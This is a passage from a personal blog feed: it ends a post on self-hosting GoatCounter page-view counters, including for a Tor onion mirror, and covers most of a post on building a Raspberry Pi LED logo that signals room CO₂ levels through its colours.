</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#a6e22e">u</span>.<span style="color:#a6e22e">pathname</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">span</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">label</span>(<span style="color:#a6e22e">n</span> <span style="color:#f92672">??</span> <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>      } <span style="color:#66d9ef">catch</span> {}
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// C) Site totals (optional placeholders)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">pvEl</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;vercount_value_site_pv&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pvEl</span>) { <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetchCount</span>(<span style="color:#e6db74">&#39;TOTAL&#39;</span>); <span style="color:#a6e22e">pvEl</span>.<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">n</span><span style="color:#f92672">===</span><span style="color:#66d9ef">null</span>) <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;—&#39;</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">nf</span>.<span style="color:#a6e22e">format</span>(<span style="color:#a6e22e">n</span>); }
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>})();
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><p>Style so meta items stay inline with middle dots (PaperMod‑like). Put this in <code>assets/css/extended/goatcounter.css</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">post-meta</span><span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">entry-meta</span><span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">entry-footer</span><span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">post-meta</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">display</span>:<span style="color:#66d9ef">flex</span>; <span style="color:#66d9ef">align-items</span>:<span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">flex-wrap</span>:<span style="color:#66d9ef">wrap</span>; <span style="color:#66d9ef">gap</span>:<span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">entry-meta</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">entry-footer</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">display</span>:<span style="color:#66d9ef">inline-flex</span>; <span style="color:#66d9ef">align-items</span>:<span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">white-space</span>:<span style="color:#66d9ef">nowrap</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span><span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-single</span> .<span style="color:#a6e22e">post-header</span> .<span style="color:#a6e22e">entry-meta</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span><span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">entry-footer</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span><span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-entry</span> .<span style="color:#a6e22e">post-meta</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">*</span> <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>::<span style="color:#a6e22e">before</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">content</span>:<span style="color:#e6db74">&#34;·&#34;</span>; <span style="color:#66d9ef">margin</span>:<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">.5</span><span style="color:#66d9ef">rem</span>; <span style="color:#66d9ef">opacity</span>:<span style="color:#ae81ff">.6</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">post-views-bottom</span> { <span style="color:#66d9ef">margin</span>:<span style="color:#ae81ff">.6</span><span style="color:#66d9ef">rem</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span>; <span style="color:#66d9ef">opacity</span>:<span style="color:#ae81ff">.75</span>; <span style="color:#66d9ef">font-size</span>:<span style="color:#ae81ff">.95</span><span style="color:#66d9ef">em</span>; }
</span></span></code></pre></div><hr>
<h3 id="6-count-tor-onion-visits-into-the-same-site">6) Count Tor (.onion) visits <strong>into the same site</strong></h3>
<p>In the <strong>.onion</strong> server block, proxy GoatCounter endpoints to the same site by forcing the Host header:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># inside: server { ... } for fjthpp2h3mj2r....onion
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">location</span> = <span style="color:#e6db74">/count</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8081/count</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> <span style="color:#e6db74">http</span>; <span style="color:#75715e"># onion is http
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">location</span> <span style="color:#e6db74">/counter/</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8081/counter/</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> <span style="color:#e6db74">statsblog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> <span style="color:#e6db74">http</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">&#34;no-store&#34;</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">proxy_no_cache</span> <span style="color:#ae81ff">1</span>; <span style="color:#f92672">proxy_cache_bypass</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Because the loader above sets <code>window.goatcounter.endpoint</code> to <code>/count</code> on <code>.onion</code>, both <strong>hits</strong> and <strong>reads</strong> stay on the onion origin and are tallied into the same GoatCounter site.</p>
<blockquote>
<p><strong>Note on DNT/Tor:</strong> Tor Browser sends <code>DNT: 1</code>. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.</p></blockquote>
<hr>
<h3 id="7-troubleshooting-quick-notes">7) Troubleshooting quick notes</h3>
<ul>
<li><strong>400 “no site at this domain”</strong> → create the site with <code>-vhost=statsblog.alipourimjourneys.ir</code> or fix your proxy <code>Host</code> header.</li>
<li><strong>Counts don’t change on onion</strong> → verify Tor path via <code>torsocks</code>, watch logs:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose logs -f goatcounter
</span></span><span style="display:flex;"><span><span style="color:#75715e"># look for “ignored: bot” (curl UA), or DNT being respected</span>
</span></span></code></pre></div></li>
<li><strong>DevTools sanity</strong> → on clearnet you should see <code>https://statsblog…/count</code> and <code>…/counter/*.json</code>; on onion you should see <code>/count</code> and <code>/counter/*.json</code> (same‑origin).</li>
</ul>
<p>That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.</p>
<p>Honestly, self-hosting GoatCounter wasn&rsquo;t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it&rsquo;s done and dusted, and I&rsquo;m a happy puppy! :D</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/view_count.md">Markdown</a> ·
    <a href="/sources/posts/view_count.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
jSolRg//SwN9nMf9/Wgkr5h&#43;dQowZMCHXXcKWgO8J08ITVDN1&#43;weNNGANFrz63SQ
DajHGeSogYW1&#43;AAxJaAeQ7hLdOX9foV5pT&#43;kWANIjRBXnFyW&#43;WR7kt6tmN2rcSH8
z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK&#43;YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL&#43;rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
X5&#43;7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU&#43;f911voV7ZA&#43;KbUqHsQrISTKz
cd&#43;tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
&#43;Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk&#43;0HhZn9UJxJPaa/WTgVWDgpt&#43;&#43;Ce
fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS&#43;GaUynjLzEWveOib
dxLcbIIap&#43;nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
=o387
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
gpg --verify view_count.md.asc view_count.md
  </pre>
</div>


]]></content:encoded></item><item><title>INET Logo That Breathes — From CAD to LEDs to a Calm Little Server</title><link>https://blog.alipour.eu/posts/inet_logo/</link><pubDate>Fri, 17 Oct 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/inet_logo/</guid><description>&lt;blockquote>
&lt;p>I didn’t add a warning sign to the room. I taught the &lt;strong>logo&lt;/strong> to breathe. ;-D&lt;/p>&lt;/blockquote>
&lt;p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&amp;rsquo;s not good at is &lt;strong>ventilating&lt;/strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote>
<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p>
<p>So I crafted the INET logo and gave it a 9-5 job: be a <strong>polite barometer</strong>. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.</p>
<p>This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I&rsquo;ll try to include as much detail as I can.</p>
<hr>
<h2 id="1-sketch--cad--print">1) Sketch → CAD → Print</h2>
<p><img alt="Fusion design + logotype" loading="lazy" src="/images/inet/inet_logo_fusion_merged.png"></p>
<p>I started the way all sensible hardware projects start: with <strong>overconfidence</strong> and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall <strong>I</strong>, the curving <strong>N</strong>, three stacked bars for <strong>E</strong>, and the long arm of <strong>T</strong>. Each pocket got:</p>
<ul>
<li><strong>Mounting bosses</strong> for the front diffusers (M2 screws),</li>
<li><strong>Cable holes</strong> between chambers (rounded to avoid cutting silicone wire), and</li>
<li>A small <strong>wiring bay</strong> for the controller and power.</li>
</ul>
<p>I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at <strong>1-2 mm</strong> thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears.
The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.</p>
<p>The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group.
I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.</p>
<hr>
<h2 id="2-the-look-i-wanted">2) The Look I Wanted</h2>
<p><img alt="Animations collage" loading="lazy" src="/images/inet/inet_animation_collage.jpg"></p>
<p>I wasn&rsquo;t building a stage light. The goal was <strong>calm</strong>: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the <strong>CO₂ monitor</strong> in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I&rsquo;m happy with it and want to let it be there doing it&rsquo;s job.</p>
<hr>
<h2 id="3-the-tidy-mess-behind-the-panel">3) The Tidy Mess Behind the Panel</h2>
<p><img alt="Hardware collage" loading="lazy" src="/images/inet/inet_hardware_collage.jpg"></p>
<p>Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:</p>
<ul>
<li>A <strong>330–470 Ω</strong> series resistor on the <em>data</em> line right at the first pixel. It damps ringing and prevents weird flickers.</li>
<li>A <strong>1000 µF</strong> electrolytic across <strong>5V/GND</strong> at the strip start. It handles inrush so the first LED doesn’t faint at boot.</li>
</ul>
<p>I route the strip <strong>DIN → DOUT</strong> through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check <strong>before</strong> power and bring brightness up slowly on a bench supply.</p>
<p>The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won&rsquo;t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD</p>
<hr>
<h2 id="4-a-web-panel-that-stays-out-of-the-way">4) A Web Panel that Stays Out of the Way</h2>
<p><img alt="UI collage" loading="lazy" src="/images/inet/inet_ui_collage.jpg"></p>
<p>The web UI is quiet on purpose: a single navbar, a <code>/control</code> page with big same‑size buttons, a <code>/schedule</code> table, a drag‑and‑drop <code>/calendar</code>, a <code>/status</code> page that updates once a second, and <code>/history</code> charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.</p>
<p>There’s also a <strong>Safe Mode</strong> switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it&rsquo;s not funny for anyone to fidn this out when looking at your creation. So&hellip; yea, I took precautions not to see people getting seizures looking at my creation. :-)</p>
<hr>
<h2 id="5-the-color-language-for-air">5) The Color Language for Air</h2>
<p>The <code>co2_monitor</code> animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:</p>
<ul>
<li><strong>&lt; 500 ppm</strong>: Cyan — outdoor‑like fresh air.</li>
<li><strong>500–799</strong>: Green — good.</li>
<li><strong>800–1199</strong>: Yellow — getting stale.</li>
<li><strong>1200–1499</strong>: Orange — poor; you’ll feel it.</li>
<li><strong>1500–1999</strong>: Red — ventilate now.</li>
<li><strong>≥ 2000</strong>: Purple — the logo is politely yelling.</li>
</ul>
<p>I blend the readings with an <strong>exponential moving average</strong> and use <strong>hysteresis</strong> around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow <strong>breathing brightness</strong>. The result feels alive but never flashy.</p>
<p>By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it&rsquo;s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it&rsquo;s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.</p>
<hr>
<h2 id="6-the-code--a-guided-tour-no-giant-blob-promise">6) The Code — a guided tour (no giant blob, promise)</h2>
<p>This whole project runs from a single Python file. Think of it like a tiny orchestra:<br>
one thread conducts the <strong>LEDs</strong>, one listens politely to the <strong>CO₂ sensor</strong>, one keeps time as the <strong>scheduler</strong>, and a small <strong>web server</strong> hands you the baton when you want to improvise.</p>
<p>Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).</p>
<hr>
<h3 id="61-configuration-the-knobs">6.1 Configuration (the knobs)</h3>
<p>Let&rsquo;s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>LED_COUNT<span style="color:#f92672">=</span><span style="color:#ae81ff">78</span>, LED_PIN<span style="color:#f92672">=</span><span style="color:#ae81ff">18</span>, LED_BRIGHT<span style="color:#f92672">=</span><span style="color:#ae81ff">255</span>
</span></span><span style="display:flex;"><span>SCHEDULE_PATH<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;schedule.json&#34;</span>
</span></span><span style="display:flex;"><span>DB_PATH<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sensor.db&#34;</span>
</span></span><span style="display:flex;"><span>SAFE_MODE<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>  <span style="color:#75715e"># hide flashy animations by default</span>
</span></span></code></pre></div><p><em>Why it’s like this:</em> simple, explicit defaults → less “why is it dark” debugging.</p>
<hr>
<h3 id="62-strip-setup--frame-diff-no-flicker-magic">6.2 Strip setup + frame-diff (no flicker magic)</h3>
<p>Now initialize <code>rpi_ws281x.PixelStrip</code> and put a <strong>shadow frame buffer</strong> in front of it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>frame <span style="color:#f92672">=</span> [(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>)] <span style="color:#f92672">*</span> LED_COUNT
</span></span><span style="display:flex;"><span>_dirty <span style="color:#f92672">=</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">_set_pixel</span>(i, r, g, b):
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># only touch hardware if the value actually changed</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> frame[i] <span style="color:#f92672">!=</span> (r,g,b):
</span></span><span style="display:flex;"><span>    strip<span style="color:#f92672">.</span>setPixelColorRGB(i, r, g, b)
</span></span><span style="display:flex;"><span>    frame[i] <span style="color:#f92672">=</span> (r,g,b)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">global</span> _dirty; _dirty <span style="color:#f92672">=</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">flush</span>():
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> _dirty: strip<span style="color:#f92672">.</span>show(); _dirty<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>
</span></span></code></pre></div><p><em>Why it’s like this:</em> LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call <code>show()</code> with identical data.</p>
<hr>
<h3 id="63-a-tiny-color-wheel-helper">6.3 A tiny color wheel helper</h3>
<p>Classic rainbow helper used by a few animations:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">wheel</span>(pos):
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># 0..255 → (r,g,b)</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">...</span>
</span></span></code></pre></div><p><em>Why it’s like this:</em> I&rsquo;ll use it again and again; it keeps color math out of the animations.</p>
<hr>
<h3 id="64-state--orchestration">6.4 State &amp; orchestration</h3>
<p>Let&rsquo;s hold a registry of animations, a stop flag, and the currently playing thread.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>animations <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>stop_event <span style="color:#f92672">=</span> threading<span style="color:#f92672">.</span>Event()
</span></span><span style="display:flex;"><span>current_thread <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">register</span>(name, safe<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>):
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">wrap</span>(fn):
</span></span><span style="display:flex;"><span>    animations[name] <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;fn&#34;</span>: fn, <span style="color:#e6db74">&#34;safe&#34;</span>: safe}
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> fn
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> wrap
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_animation</span>(fn):
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># cooperative hand-off: stop current, start next</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> current_thread <span style="color:#f92672">and</span> current_thread<span style="color:#f92672">.</span>is_alive():
</span></span><span style="display:flex;"><span>    stop_event<span style="color:#f92672">.</span>set(); current_thread<span style="color:#f92672">.</span>join()
</span></span><span style="display:flex;"><span>  stop_event<span style="color:#f92672">.</span>clear()
</span></span><span style="display:flex;"><span>  t <span style="color:#f92672">=</span> threading<span style="color:#f92672">.</span>Thread(target<span style="color:#f92672">=</span>fn, name<span style="color:#f92672">=</span>fn<span style="color:#f92672">.</span>__name__, daemon<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>)
</span></span><span style="display:flex;"><span>  t<span style="color:#f92672">.</span>start(); globals()[<span style="color:#e6db74">&#34;current_thread&#34;</span>] <span style="color:#f92672">=</span> t
</span></span></code></pre></div><p><em>Why it’s like this:</em> adding a new animation is a one-liner <code>@register(&quot;name&quot;)</code>. Clean exits prevent torn frames and half-drawn comets.</p>
<hr>
<h3 id="65-animations-the-mood">6.5 Animations (the mood)</h3>
<p>Each animation is a loop that checks <code>stop_event.is_set()</code> and draws frames with <code>_set_pixel(...)</code> + <code>flush()</code>.</p>
<ul>
<li><strong><code>redpulse</code></strong> — calm breathing in red; great default.</li>
<li><strong><code>colorwave</code></strong> — slow rainbow that reads clearly behind diffusers.</li>
<li><strong><code>comet</code></strong> — a single head with a fading tail orbiting the logo.</li>
</ul>
<p>They all end with <code>finally: clear_strip()</code> so the panel doesn’t freeze on the last pose if you stop mid-frame.</p>
<p><em>Why it’s like this:</em> cooperative loops + frame-diff = smooth, interruption-safe effects.</p>
<hr>
<h3 id="66-co-color-language-with-smoothing--hysteresis">6.6 CO₂ color language (with smoothing + hysteresis)</h3>
<p>The star of the show. Now map ppm to color <strong>bands</strong> and keep transitions human-pleasant.</p>
<ul>
<li><code>&lt; 500</code>: <strong>Cyan</strong> (fresh)</li>
<li><code>500–799</code>: <strong>Green</strong></li>
<li><code>800–1199</code>: <strong>Yellow</strong></li>
<li><code>1200–1499</code>: <strong>Orange</strong></li>
<li><code>1500–1999</code>: <strong>Red</strong></li>
<li><code>≥ 2000</code>: <strong>Purple</strong></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>BANDS<span style="color:#f92672">=</span>[(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">500</span>,(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">214</span>,<span style="color:#ae81ff">255</span>)), (<span style="color:#ae81ff">500</span>,<span style="color:#ae81ff">800</span>,(<span style="color:#ae81ff">17</span>,<span style="color:#ae81ff">204</span>,<span style="color:#ae81ff">85</span>)), <span style="color:#f92672">...</span> (<span style="color:#ae81ff">2000</span>,<span style="color:#960050;background-color:#1e0010">∞</span>,(<span style="color:#ae81ff">123</span>,<span style="color:#ae81ff">44</span>,<span style="color:#ae81ff">191</span>))]
</span></span><span style="display:flex;"><span>EMA_ALPHA<span style="color:#f92672">=</span><span style="color:#ae81ff">0.15</span>; HYST<span style="color:#f92672">=</span><span style="color:#ae81ff">35</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Every tick:</span>
</span></span><span style="display:flex;"><span>ema <span style="color:#f92672">=</span> (<span style="color:#ae81ff">1</span><span style="color:#f92672">-</span>EMA_ALPHA)<span style="color:#f92672">*</span>ema <span style="color:#f92672">+</span> EMA_ALPHA<span style="color:#f92672">*</span>co2
